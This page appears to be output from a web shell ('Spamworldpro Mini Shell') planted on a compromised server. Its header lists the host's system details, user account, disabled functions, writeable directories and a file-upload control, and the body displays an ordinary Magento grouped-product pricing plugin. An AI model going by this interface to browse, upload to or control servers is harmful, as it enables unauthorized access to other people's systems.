Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/app/code/Cnc/GroupedProduct/Plugin/Pricing/Price/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/app/code/Cnc/GroupedProduct/Plugin/Pricing/Price/FinalPrice.php
<?php
/**
 * Copyright (c) 2020 Kaliop Digital Commerce (https://digitalcommerce.kaliop.com) All Rights Reserved.
 * https://opensource.org/licenses/OSL-3.0  Open Software License (OSL 3.0)
 * Cnc
 * Radosław Stępień <[email protected]> <[email protected]>
 */

namespace Cnc\GroupedProduct\Plugin\Pricing\Price;

use Magento\Catalog\Model\Product;
use Magento\GroupedProduct\Pricing\Price\FinalPrice as BaseFinalPrice;

class FinalPrice
{
    /**
     * Taking in account tier prices, when calculating grouped lowest price
     *
     * @param BaseFinalPrice $subject
     * @param Product $minProduct
     * @return Product
     */
    public function afterGetMinProduct(BaseFinalPrice $subject, $minProduct)
    {
        if ($minProduct === null) {
            return null;
        }

        $groupedProduct = $subject->getProduct();
        $associatedProducts = false;
        if ($groupedProduct->getId()) {
            $associatedProducts = $groupedProduct->getTypeInstance()->getAssociatedProducts($groupedProduct);
        }
        if ($associatedProducts) {
            $minPrice = null;
            /** @var Product $item */
            foreach ($associatedProducts as $item) {
                $product = clone $item;
                $product->setQty(\Magento\Framework\Pricing\PriceInfoInterface::PRODUCT_QUANTITY_DEFAULT);
                $price = $product->getPriceInfo()
                    ->getPrice(\Magento\GroupedProduct\Pricing\Price\FinalPrice::PRICE_CODE)
                    ->getValue();
                if ($product->getTierPrices()) {
                    $minTierPrice = $price;
                    foreach ($product->getTierPrices() as $tierPrice) {
                        if ($tierPrice->getValue() < $minTierPrice) {
                            $price = $tierPrice->getValue();
                            $minTierPrice = $price;
                            $product->setQty($tierPrice->getQty());
                        }
                    }
                }
                if (($price !== false) && ($price <= ($minPrice === null ? $price : $minPrice))) {
                    $minProduct = $product;
                    $minPrice = $price;
                }
            }
        }
        return $minProduct;
    }
}

Spamworldpro Mini